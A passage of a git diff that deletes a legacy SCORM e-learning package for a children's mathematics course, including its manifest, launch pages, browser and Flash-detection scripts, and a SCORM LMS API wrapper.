-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Other/O0003/images/bg_03.jpg b/Explore/elr/Other/O0003/images/bg_03.jpg
deleted file mode 100755
index 4c35c15..0000000
--- a/Explore/elr/Other/O0003/images/bg_03.jpg
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/images/efk_logo.png b/Explore/elr/Other/O0003/images/efk_logo.png
deleted file mode 100755
index b84ec18..0000000
--- a/Explore/elr/Other/O0003/images/efk_logo.png
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/imsmanifest.xml b/Explore/elr/Other/O0003/imsmanifest.xml
deleted file mode 100755
index 0db955a..0000000
--- a/Explore/elr/Other/O0003/imsmanifest.xml
+++ /dev/null
@@ -1,56 +0,0 @@
-<?xml version="1.0"?>
-<manifest identifier="MANIFEST_EFK" version="1.2"
-          xmlns="http://www.imsproject.org/xsd/imscp_rootv1p1p2" 
-          xmlns:adlcp="http://www.adlnet.org/xsd/adlcp_rootv1p2"
-         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-          xsi:schemaLocation="http://www.imsproject.org/xsd/imscp_rootv1p1p2 imscp_rootv1p1p2.xsd 
-                              http://www.imsglobal.org/xsd/imsmd_rootv1p2p1 imsmd_rootv1p2p1.xsd 
-                              http://www.adlnet.org/xsd/adlcp_rootv1p2 adlcp_rootv1p2.xsd">
-	<organizations default="MANIFESTD_ORG_0001">
-    	<organization identifier="MANIFESTD_ORG_0001">
-			<title>ELearning for kids: Mathematics</title>
-			<item identifier="ITEM_EFK_00_00_00_00" identifierref="RESOURCE_EFK_00_00_00_00" isvisible="true">
-				<title>ELearning for kids: Mathematics</title>
-			</item>
-		<metadata>
-			<schema>ADL SCORM</schema>
-			<schemaversion>1.2</schemaversion>
-			<adlcp:location>metadata.xml</adlcp:location>
-		</metadata>
-    	</organization>
-  	</organizations>
- 	<resources>
-		 <resource identifier="RESOURCE_EFK_00_00_00_00" type="webcontent" href="index.html" adlcp:scormtype="sco">
-	        <file href="index.html" />
-			<dependency identifierref="RESOURCE_EFK_00_00_00_00_r" /> 
-		</resource>
-        <resource identifier="RESOURCE_EFK_00_00_00_00_r" type="webcontent" href="efk_shell.swf" adlcp:scormtype="asset">			
-			
-			<file href="js/scorm_api.js" />
-			<file href="js/browser-detection.js" />
-			<file href="js/fpi-init.js" />
-			<file href="js/fpi-main.js" />
-			<file href="js/fpi-swap.js" />
-			<file href="js/fpi-writevb.js" />
-
-			<file href="course.xml" />		
-			<file href="efk_shell.swf" />
-			<file href="index.html" />
-			<file href="launch.html" />
-
-			<file href="html/fpi_blank.html" />
-			<file href="html/fpi_detection.html" />
-			<file href="html/fpi_flash.html" />
-			<file href="html/fpi_no_flash.html" />
-			<file href="html/fpi_upgrade_flash.html" />
-			<file href="html/launch.html" />
-			<file href="html/os_browser_detection.html" />
-			<file href="html/os_not_compatible_page.html" />
-
-			<file href="images/bg_03.jpg" />
-			<file href="images/efk_logo.png" />
-
-			
-		</resource>	
-	</resources>
-</manifest>
diff --git a/Explore/elr/Other/O0003/index.html b/Explore/elr/Other/O0003/index.html
deleted file mode 100755
index 581aeac..0000000
--- a/Explore/elr/Other/O0003/index.html
+++ /dev/null
@@ -1,21 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>EFK::</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="js/scorm_api.js"></script>
-<script>
-function fnpopup(){
-    var wo=window.open("../launch.html","efk_course",'top=0, left=0, scrollbars=0,resizable=0, fullScreen=yes, dependent=yes');
-	wo.focus();
- }
- </script>
-</head>
-<frameset rows="100,0" frameborder="Yes" border="0" framespacing="0" onload="initSco()" onUnLoad="finish()">
-  <frame src="html/os_browser_detection.html" name="mainFrame">
-  <frame src="html/fpi_blank.html" name="bottomFrame" scrolling="auto" noresize>
-</frameset>
-<noframes>
-</noframes>
-</html>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0003/js/browser-detection.js b/Explore/elr/Other/O0003/js/browser-detection.js
deleted file mode 100755
index 54d8b3b..0000000
--- a/Explore/elr/Other/O0003/js/browser-detection.js
+++ /dev/null
@@ -1,185 +0,0 @@
-// JavaScript Document v:1.3
-// Requires navigator 2.0, Internet Explorer 3.0
-
-// Browser ::
-//navigator.appVersion
-//navigator.appName
-//navigator.appCodeName(code name of browser)
-
-var agt, os, browser, version, place, thestring, osVer;
-var notCompatiblePage = "../html/os_not_compatible_page.html";
-var compatiblePage = "../html/launch.html";
-var flashDetectionPage = "../html/fpi_detection.html";
-
-// Browser Version Required for Windows
-var winIEVer = 4;
-var winNetscapeVer = 4;
-var winOperaVer = 6;
-var winAOLVer = 7;
-var winMozillaVer = 1;
-
-// Browser Version Required for Mac
-var macIEVer = 5;
-var macNetscapeVer = 4.7;
-var macOperaVer = 5;
-var macMozillaVer = 1;
-
-// Browser Version Required for Linux
-var linuxMozillaVer = 1.1;
-
-function getAgtInfo() {
-	agt = navigator.userAgent.toLowerCase();
-	if (checkIt('konqueror')) {
-		browser = "Konqueror";
-		os = "Linux";
-		osVer = "na";
-	} else if (checkIt('safari')) {
-		browser = "Safari";
-	} else if (checkIt('aol')) {
-		browser = "AOL";
-	} else if (checkIt('opera')) {
-		browser = "Opera";
-		if (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1) {
-			version = 2;
-		} else if (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1) {
-			version = 3;
-		} else if (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1) {
-			version = 4;
-		} else if (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1) {
-			version = 5;
-		} else if (agt.indexOf("opera 6") != -1 || agt.indexOf("opera/6") != -1) {
-			version = 6;
-		} else if (agt.indexOf("opera 7") != -1 || agt.indexOf("opera/7") != -1) {
-			version = 7;
-		} else {
-			version = 0;
-		}
-	} else if (checkIt('msie')) {
-		browser = "IE";
-	} else if (!checkIt('compatible')) {
-		browser = "Netscape";
-		//alert(navigator.appVersion.substr(0, 3));
-		//version = agt.charAt(8);
-		version = navigator.appVersion.substr(0, 3);
-		if(Number(version) == NaN || Number(version) == "NaN") {
-			version = agt.charAt(8);
-		}
-	} else if ((agt.indexOf("mozilla")) != -1 && browser == undefined) {
-		browser = "Mozilla";
-	} else {
-		browser = "unknown browser";
-	}
-	if (!version) {
-		version = agt.charAt(place+thestring.length);
-	}
-	if (!os) {
-		if (checkIt('linux')) {
-			os = "Linux";
-			osVer = "na";
-		} else if (checkIt('x11')) {
-			os = "Unix";
-			osVer = "na";
-		} else if (checkIt('mac')) {
-			os = "Mac";
-			if((((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1)))){
-				osVer = "mac 68k"
-			} else if((((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1)))) {
-				osVer = "mac powerpc"
-			}
-		} else if (checkIt('win')) {
-			os = "Win";
-			if((((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)))){
-				osVer = "Win 98"
-			} else if((((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)))) {
-				osVer = "Win 95"
-			} else if((((agt.indexOf("win 9x 4.90")!=-1)))) {
-				osVer = "Win ME"
-			} else if((((agt.indexOf("windows nt 5.0")!=-1) || (agt.indexOf("windows 2000")!=-1)))) {
-				osVer = "Win 2k"
-			} else if((((agt.indexOf("windows nt 5.1")!=-1) || (agt.indexOf("windows xp")!=-1)))) {
-				osVer = "Win XP"
-			} else if((((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)))) {
-				osVer = "Win NT"
-			}
-		} else {
-			os = "unknown operating system";
-		}
-	}
-	checkCompatibility();
-}
-function checkIt(string) {
-	place = agt.indexOf(string)+1;
-	thestring = string;
-	return place;
-}
-function checkCompatibility() {
-	//alert("agt: "+agt+" Your OS is: "+os+" & browser is: "+browser+" & version: "+Number(version));
-	//alert(navigator.appCodeName);
-	if(os != "unknown operating system") {
-		if (os == "Win") {		 
-			if (osVer == "Win 95" || osVer == "Win 98" || osVer == "Win ME" || osVer == "Win NT" || osVer == "Win 2k" || osVer == "Win XP") {
-				if (browser == "IE" && (Number(version) >= winIEVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);					
-				} else if (browser == "Netscape" && (Number(version) >= winNetscapeVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Opera" && (Number(version) >= winOperaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "AOL" && (Number(version) >= winAOLVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Mozilla" && (Number(version) >= winMozillaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else {
-					window.location.replace(notCompatiblePage);
-					//window.location = compatiblePage;
-				}	
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = notCompatiblePage;
-			}
-		} else if (os == "Mac") {
-			//alert("browser: "+browser+" & macIEVer: "+macIEVer+" & macNetscapeVer: "+macNetscapeVer+" & navigator.appVersion: "+navigator.appVersion);
-			if (browser == "IE" && (Number(version) >= macIEVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Netscape" && (Number(version) >= macNetscapeVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Opera" && (Number(version) >= macOperaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "AOL") {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Mozilla" && (Number(version) >= macMozillaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else if (os == "Linux") {
-			if(browser == "Konqueror") {
-				//window.location.replace(compatiblePage);
-				window.location.replace(notCompatiblePage);
-			} else if (Number(version) >= linuxMozillaVer) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else {
-			window.location.replace(notCompatiblePage);
-			//window.location = compatiblePage;
-		}
-	} else {
-		window.location.replace(notCompatiblePage);
-		//window.location = notCompatiblePage;
-	}
-}
-getAgtInfo();
diff --git a/Explore/elr/Other/O0003/js/fpi-init.js b/Explore/elr/Other/O0003/js/fpi-init.js
deleted file mode 100755
index ecd135e..0000000
--- a/Explore/elr/Other/O0003/js/fpi-init.js
+++ /dev/null
@@ -1,46 +0,0 @@
-// moock fpi [f.lash p.layer i.nspector]
-// version: 1.3.7
-// written by colin moock
-// code maintained at: http://www.moock.org/webdesign/flash/detection/moockfpi/
-// terms of use posted at: http://www.moock.org/terms/
-
-
-
-// =============================================================================
-// These are the user defined globals.
-// Modify the following variables to customize the inspection behaviour.
-
-var requiredVersion = 7;   // Version the user needs to view site (max 9, min 2)
-var useRedirect = true;    // Flag indicating whether or not to load a separate
-                           // page based on detection results. Set to true to
-                           // load a separate page. Set to false to embed the
-                           // movie or alternate html directly into this page.
-                           
-// Only set next three vars if useRedirect is true...
-var flashPage   = "../html/fpi_flash.html"    // The location of the flash movie page
-var noFlashPage = "../html/fpi_no_flash.html"  // Page displayed if the user doesn't have the
-                                  // plugin or we can't detect it.
-var upgradePage = "../html/fpi_upgrade_flash.html"  // Page displayed if we detect an old plugin
-var blankPage = "../html/fpi_blank.html"
-// =============================================================================
-
-
-
-// *************
-// Everything below this point is internal until after the BODY tag.
-// Do not modify! Proceed to the BODY tag for further instructions.
-// *************
-
-// System globals
-var flash2Installed = false;    // boolean. true if flash 2 is installed
-var flash3Installed = false;    // boolean. true if flash 3 is installed
-var flash4Installed = false;    // boolean. true if flash 4 is installed
-var flash5Installed = false;    // boolean. true if flash 5 is installed
-var flash6Installed = false;    // boolean. true if flash 6 is installed
-var flash7Installed = false;    // boolean. true if flash 7 is installed
-var flash8Installed = false;    // boolean. true if flash 8 is installed
-var flash9Installed = false;    // boolean. true if flash 9 is installed
-var maxVersion = 9;             // highest version we can actually detect
-var actualVersion = 0;          // version the user really has
-var hasRightVersion = false;    // boolean. true if it's safe to embed the flash movie in the page
-var jsVersion = 1.0;            // the version of javascript supported
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0003/js/fpi-main.js b/Explore/elr/Other/O0003/js/fpi-main.js
deleted file mode 100755
index 2926268..0000000
--- a/Explore/elr/Other/O0003/js/fpi-main.js
+++ /dev/null
@@ -1,101 +0,0 @@
-// Next comes the standard javascript detection that uses the 
-// navigator.plugins array. We pack the detector into a function so that 
-// it preloads before being run.
-
-function detectFlash() {  
-  // If navigator.plugins exists...
-  if (navigator.plugins) {
-    // ...then check for flash 2 or flash 3+.
-    if (navigator.plugins["Shockwave Flash 2.0"]
-        || navigator.plugins["Shockwave Flash"]) {
-
-      // Some version of Flash was found. Time to figure out which.
-      
-      // Set convenient references to flash 2 and the plugin description.
-      var isVersion2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
-      var flashDescription = navigator.plugins["Shockwave Flash" + isVersion2].description;
-
-      // DEBUGGING: uncomment next line to see the actual description.
-      // alert("Flash plugin description: " + flashDescription);
-      
-      // A flash plugin-description looks like this: Shockwave Flash 4.0 r5
-      // We can get the major version by grabbing the character before the period
-      // note that we don't bother with minor version detection. 
-      // Do that in your movie with $version or getVersion().
-      var flashVersion = parseInt(flashDescription.substring(16));
-
-      // We found the version, now set appropriate version flags. Make sure
-      // to use >= on the highest version so we don't prevent future version
-      // users from entering the site.
-      flash2Installed = flashVersion == 2;    
-      flash3Installed = flashVersion == 3;
-      flash4Installed = flashVersion == 4;
-      flash5Installed = flashVersion == 5;
-      flash6Installed = flashVersion == 6;
-      flash7Installed = flashVersion == 7;
-      flash8Installed = flashVersion == 8;
-      flash9Installed = flashVersion >= 9;
-    }
-  }
-  
-  // Loop through all versions we're checking, and
-  // set actualVersion to highest detected version.
-  for (var i = 2; i <= maxVersion; i++) {  
-    if (eval("flash" + i + "Installed") == true) actualVersion = i;
-  }
-  
-  // If we're on msntv (formerly webtv), the version supported is 4 (as of
-  // January 1, 2004). Note that we don't bother sniffing varieties
-  // of msntv. You could if you were sadistic...
-  if(navigator.userAgent.indexOf("WebTV") != -1) actualVersion = 4;  
-  
-  // DEBUGGING: uncomment next line to display flash version
-  // alert("version detected: " + actualVersion);
-
-
-  // We're finished getting the version on all browsers that support detection.
-  // Time to take the appropriate action.
-
-  // If the user has a new enough version...
-  if (actualVersion >= requiredVersion) {
-    // ...then we'll redirect them to the flash page, unless we've
-    // been told not to redirect.
-    if (useRedirect) {
-      // Need javascript1.1 to do location.replace
-      if(jsVersion > 1.0) {
-        // It's safe to use replace(). Good...we won't break the back button.
-        window.location.replace(flashPage);  
-      } else {
-        // JavaScript version is too old, so use .location to load
-        // the flash page.
-        window.location = flashPage;
-      }
-    }
-    
-    // If we got here, we didn't redirect. So we make a note that we should
-    // write out the object/embed tags later.
-    hasRightVersion = true;                
-  } else {  
-    // The user doesn't have a new enough version.
-    // If the redirection option is on, load the appropriate alternate page.
-    if (useRedirect) {
-		//if (confirm("This course requires Macromedia Flash Player 6.\nIt seems like you don't have required flash player installed on your machine.\nWould you like to install Flash Player now?")){
-			//window.open("http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash");
-		//} else {
-			//alert("else part");
-		//}
-      // Do the same .replace() call only if js1.1+ is available.
-      if(jsVersion > 1.0) {
-        //window.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-		 window.location.replace(blankPage);
-		parent.mainFrame.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-      } else {
-        //window.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-		 window.location = blankPage;
-		parent.mainFrame.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-      }	 	  
-    }
-  }
-}
-
-detectFlash();  // call our detector now that it's safely loaded. 
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0003/js/fpi-swap.js b/Explore/elr/Other/O0003/js/fpi-swap.js
deleted file mode 100755
index c08f889..0000000
--- a/Explore/elr/Other/O0003/js/fpi-swap.js
+++ /dev/null
@@ -1,33 +0,0 @@
-// In this section we set up the content to be placed dynamically on the page.
-// Customize movie tags and alternate html content below.
-
-if (!useRedirect) {    // if dynamic embedding is turned on
-  if(hasRightVersion) {  // if we've detected an acceptable version
-    var oeTags = '<OBJECT CLASSID="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'CODEBASE="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">'
-    + '<PARAM NAME="MOVIE" VALUE="movie.swf">'
-    + '<PARAM NAME="PLAY" VALUE="true">'
-    + '<PARAM NAME="LOOP" VALUE="false">'
-    + '<PARAM NAME="QUALITY" VALUE="high">'
-    + '<PARAM NAME="MENU" VALUE="false">'
-    + '<EMBED SRC="movie.swf"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'PLAY="true"'
-    + 'LOOP="false"'
-    + 'QUALITY="high"'
-    + 'MENU="false"'
-    + 'TYPE="application/x-shockwave-flash"'
-    + 'PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash">'
-    + '<\/EMBED>'
-    + '<\/OBJECT>';
-
-    document.write(oeTags);   // embed the flash movie
-  } else {  // flash is too old or we can't detect the plugin
-    // NOTE: height, width are required!
-    var alternateContent = '<IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">' 
-      + '<BR>any desired alternate html code goes here';
-
-    document.write(alternateContent);  // insert non-flash content
-  }
-}
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0003/js/fpi-writevb.js b/Explore/elr/Other/O0003/js/fpi-writevb.js
deleted file mode 100755
index 2bdd8b3..0000000
--- a/Explore/elr/Other/O0003/js/fpi-writevb.js
+++ /dev/null
@@ -1,23 +0,0 @@
-// Check the browser...we're looking for ie/win, but not aol
-var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;    // true if we're on ie
-var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; // true if we're on windows
-
-
-// This is a js1.1 code block, so make note that js1.1 is supported.
-jsVersion = 1.1;
-
-// Write vbscript detection on ie win. IE on Windows doesn't support regular
-// JavaScript plugins array detection.
-if(isIE && isWin){
-  document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n');
-  document.write('on error resume next \n');
-  document.write('flash2Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.2"))) \n');
-  document.write('flash3Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.3"))) \n');
-  document.write('flash4Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.4"))) \n');
-  document.write('flash5Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.5"))) \n');  
-  document.write('flash6Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.6"))) \n');  
-  document.write('flash7Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.7"))) \n');
-  document.write('flash8Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.8"))) \n');
-  document.write('flash9Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.9"))) \n');
-  document.write('<\/SCR' + 'IPT\> \n'); // break up end tag so it doesn't end our script
-}
diff --git a/Explore/elr/Other/O0003/js/scorm_api.js b/Explore/elr/Other/O0003/js/scorm_api.js
deleted file mode 100755
index 7d4e2ba..0000000
--- a/Explore/elr/Other/O0003/js/scorm_api.js
+++ /dev/null
@@ -1,276 +0,0 @@
-var findAPITries=1;
-var API = null;
-var	timerID = null
-var	timerRunning = false
-var	startDate
-var	startSecs
-var timeValue
-var lessonStatus=false;
-var Bookmark_location="undefined";
-var SetMasteryScore=80;
-var LMSStatus;
-//-----------------------------------------------------------------------
-function FindAPI(win)
-{
-   while ((win.API == null) && (win.parent != null) && (win.parent != win))
-   {
-      findAPITries++;
-      // Note: 7 is an arbitrary number, but should be more than sufficient
-      if (findAPITries > 7) 
-      {
-        parent.status = "Error finding API -- too deeply nested.";
-         return null;
-      }
-      
-      win = win.parent;
-
-   }
-   return win.API;
-}
-//-----------------------------------------------------------------------
-function GetAPI()
-{
-
-   var API = FindAPI(window);
-   if ((API == null) && (window.opener != null) && (typeof(window.opener) != "undefined"))
-   {
-      API = FindAPI(window.opener);
-   }
-   if (API == null)
-   {
-     parent.status = "Unable to find an API adapter";
-   }
-
-   return API
-}
-//-----------------------------------------------------------------------
-function initSco()
-
-{
-		API = GetAPI();
-		if( API != null )
-		{
-			var ret;
-			var code;
-			var diag;
-			API.LMSInitialize("");
-			startclock();
-			
-			set_val("cmi.core.score.max",100);
-			set_val("cmi.core.score.min",0);
-
-			var status = get_val("cmi.core.lesson_status")
-			if (status == "not attempted")
-			{
-			  // the student is now attempting the lesson
-			  set_val("cmi.core.lesson_status","incomplete");
-			}
-				
-			tempPage=get_val("cmi.core.lesson_location")
-			//alert("tempPage "+tempPage);
-			//alert("lesson_status "+get_val("cmi.core.lesson_status"));
-			var tmp = tempPage.split("^");			
-			//if(tempPage != ""){
-			if(Number(tmp[0])>=0){
-			//alert("tempPage "+tempPage)
-			//tempPage=Number(tempPage)
-				Bookmark_location=tempPage;			
-			}
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );	
-		}
-	
-}
-function set_val( gname,gvalue )
-{
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret;
-		var code;
-		var diag;		
-
-		API.LMSSetValue( gname, gvalue );		
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function get_val( gname )
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-	
-	var ret1,ret2;
-		var code;
-		var diag;
-				
-		ret1 = API.LMSGetValue( gname );		
-		code = API.LMSGetLastError();
-		ret2 = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );
-	//alert ("inside "+gname+ " "+ret1)
-	return ret1;		
-		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function commit()
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret = "";
-		var code;
-		var diag;
-		
-		API.LMSCommit("");
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function finish()
-{
-//if(callUnload == true){	
-	//alert(lessonStatus);
-		API = GetAPI();
-			
-		if( API != null )
-		{
-		
-			var ret;
-			var code;
-			var diag;
-			
-			//alert("parent.next "+parent.nextCount)
-			//alert("Bookmark_location in finish: "+Bookmark_location);
-			set_val("cmi.core.lesson_location",Bookmark_location);
-			//alert(get_val("cmi.core.lesson_location"))
-			sTime=stopclock();
-			sTime=String(sTime)
-			set_val("cmi.core.session_time",sTime);
-			//if(lessonStatus){
-				
-			 //set_val("cmi.core.lesson_status","completed");
-			//}
-			commit();
-			ret = API.LMSFinish("");
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );
-
-		}
-//	}
-	
-};
-
-function stopclock()
-{
-
-	if(timerRunning){
-		clearTimeout(timerID)
-		timerRunning = false
-		return timeValue
-}
-}
-//-----------------------------------------------------------------------
-function startclock()
-{
-
-	startDate = new Date()
-	startSecs = (startDate.getHours()*60*60) + (startDate.getMinutes()*60) 
-						+ startDate.getSeconds()
-
-	stopclock()
-		showtime()
-	
-}
-//-----------------------------------------------------------------------
-function showtime()
-{
-	// this doesn't work correctly at midnight...
-
-	var now = new Date()
-	var nowSecs = (now.getHours()*60*60) + (now.getMinutes()*60) + now.getSeconds()
-	var elapsedSecs = nowSecs - startSecs;
-
-	var hours = Math.floor( elapsedSecs / 3600 )
-	elapsedSecs = elapsedSecs - (hours*3600)
-
-	var minutes = 	Math.floor( elapsedSecs / 60 )
-	elapsedSecs = elapsedSecs - (minutes*60)
-
-	var seconds = elapsedSecs
-
-	timeValue = "" + hours
-		if(hours<10){
-		timeValue = "0" + hours
-	}
-	timeValue  += ((minutes < 10) ? ":0" : ":") + minutes
-	timeValue  += ((seconds < 10) ? ":0" : ":") + seconds
-
-		// Update display
-	timerID = setTimeout("showtime()",1000)
-	timerRunning = true
-}
-
-function fnGetBookMark()
-
-{
-
-return Bookmark_location
-
-}
-
-function set_location(setbookmark)
-{
-Bookmark_location=setbookmark;
-set_val("cmi.core.lesson_location",Bookmark_location);
-commit();
-//alert("Bookmark_location: "+Bookmark_location);
-}
-
-function fnSetLastPage(lastpge) {
-
-lessonStatus= lastpge
-
-}
-function sendScore(score) {	
-	//var stat = (score >= SetMasteryScore? "passed" : "failed");
-	var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	commit();
-	//alert("score: "+score);
-}
-function fnGetData() {
-	//var LMSStatus = get_val("cmi.core.lesson_status");
-	return Bookmark_location;
-}
-function setScore(score, bookmark) {	
-	var stat = (score >= SetMasteryScore? "passed" : "failed");
-	//var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-function setCompletion(lStatus, bookmark) {	
-	set_val("cmi.core.lesson_status", lStatus);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0003/launch.html b/Explore/elr/Other/O0003/launch.html
deleted file mode 100755
index 44fb4da..0000000
--- a/Explore/elr/Other/O0003/launch.html
+++ /dev/null
@@ -1,28 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript">
-<!--
-	function fnShowPopup(htmlfile){
-		w=700;
-		h=541;
-		 var wo= window.open("media/"+htmlfile,"_blank","width="+w+", height="+h+",scrollbars=no,resizable=no,status=no, left=" + (window.screen.width-w)/2 +", top="+(window.screen.height-h)/2);
-		wo.focus();
-
-	}
-	function fnGetData(){
-		return(window.opener.fnGetData());
-	}
-	function finish(){
-		window.opener.close();
-	}
-//-->
-</script>
-</head>
-<script language="javascript">
-		document.write("<HTML><HEAD><meta http-equiv=Content-Type content=text/html;  charset=ISO-8859-1\"><TITLE>Key Boarding</TITLE>");
-		document.write("</HEAD><BODY scroll=no leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\" onUnLoad=\"finish()\" ><table height=\"100%\" width=\"100%\"><tr><td align=\"center\" valign=\"middle\"><OBJECT classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"codebase=\"https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\" WIDTH=\"800\" HEIGHT=\"600\" id=\"myFlash\" ALIGN=\"\"> <PARAM NAME=movie VALUE=\"efk_shell.swf?BookMark_data="+fnGetData()+"\"> <PARAM NAME=quality VALUE=high> <PARAM NAME=menu VALUE=false> <PARAM NAME=loop VALUE=false><PARAM NAME=bgcolor VALUE=#FFFFFF> <EMBED src=\"efk_shell.swf?BookMark_data="+fnGetData()+"\" quality=high bgcolor=#FFFFFF  WIDTH=\"800\" HEIGHT=\"600\" NAME=\"myFlash\" ALIGN=\"\" TYPE=\"application/x-shockwave-flash\" PLUGINSPAGE=\"https://www.macromedia.com/go/getflashplayer\"></EMBED></OBJECT></td></tr></table></BODY></HTML>");
- </script>
-</html>
diff --git a/Explore/elr/Other/O0003/media/Final characters.swf b/Explore/elr/Other/O0003/media/Final characters.swf
deleted file mode 100755
index 28dd297..0000000
--- a/Explore/elr/Other/O0003/media/Final characters.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/media/L01_p01.swf b/Explore/elr/Other/O0003/media/L01_p01.swf
deleted file mode 100755
index 25316fc..0000000
--- a/Explore/elr/Other/O0003/media/L01_p01.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/media/L01_p02.swf b/Explore/elr/Other/O0003/media/L01_p02.swf
deleted file mode 100755
index 363acf7..0000000
--- a/Explore/elr/Other/O0003/media/L01_p02.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/media/L02_p01.swf b/Explore/elr/Other/O0003/media/L02_p01.swf
deleted file mode 100755
index ea9788b..0000000
--- a/Explore/elr/Other/O0003/media/L02_p01.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0003/media/L02_p02.swf b/Explore/elr/Other/O0003/media/L02_p02.swf
